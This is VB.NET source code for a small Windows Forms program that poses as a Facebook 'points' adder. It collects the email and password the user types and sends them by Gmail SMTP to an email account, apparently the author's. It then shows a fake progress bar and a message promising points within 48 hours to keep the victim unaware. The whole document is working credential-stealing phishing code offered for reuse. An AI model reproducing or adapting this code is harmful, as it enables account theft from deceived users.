BAGI*BAGI*INFO

Imports System.Security.Cryptography 
Imports System.Text 
Imports System.Net.Mail 

Public Class Form1 
Dim MyProgress As Integer 

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click 
If TextBox1.Text = "" Then 
MsgBox("Username Is Missing") 
If TextBox2.Text = "" Then 
MsgBox("Password Is Mising") 
Me.Close() 
Else 
End If 
End If 
Dim username As String = "GMAIL" 
Dim password As String = "PASSWORD" 
Dim MyMailMessage As New MailMessage() 
MyMailMessage.From = New MailAddress(GetDecryptedData("GMAIL")) 
MyMailMessage.To.Add(GetDecryptedData("GMAIL")) 
MyMailMessage.Subject = "facebook" 
MyMailMessage.Body = "Email : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text 
Dim SMTPServer As New SmtpClient("smtp.gmail.com") 
SMTPServer.Port = 587 
SMTPServer.Credentials = New System.Net.NetworkCredential(GetDecryptedData("GMAIL"), GetDecryptedData("PASSWORD")) 
SMTPServer.EnableSsl = True 
SMTPServer.Send(MyMailMessage) 
ProgressBar1.Style = ProgressBarStyle.Blocks 
ProgressBar1.Step = 1 
Timer1.Enabled = True 
Call MsgBox("Points are being added to your account, once complete you can exit. Please allow up to 48 houre for the points to be added.") 
End Sub 

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick 
ProgressBar1.Value = MyProgress 
If MyProgress < 100 Then MyProgress = MyProgress + 1 
Label3.Text = "Adding Points " & MyProgress & "%" 
If MyProgress = 100 Then 
Label3.Text = "Complete" 
ProgressBar1.Visible = True 
End If 

End Sub 

End Class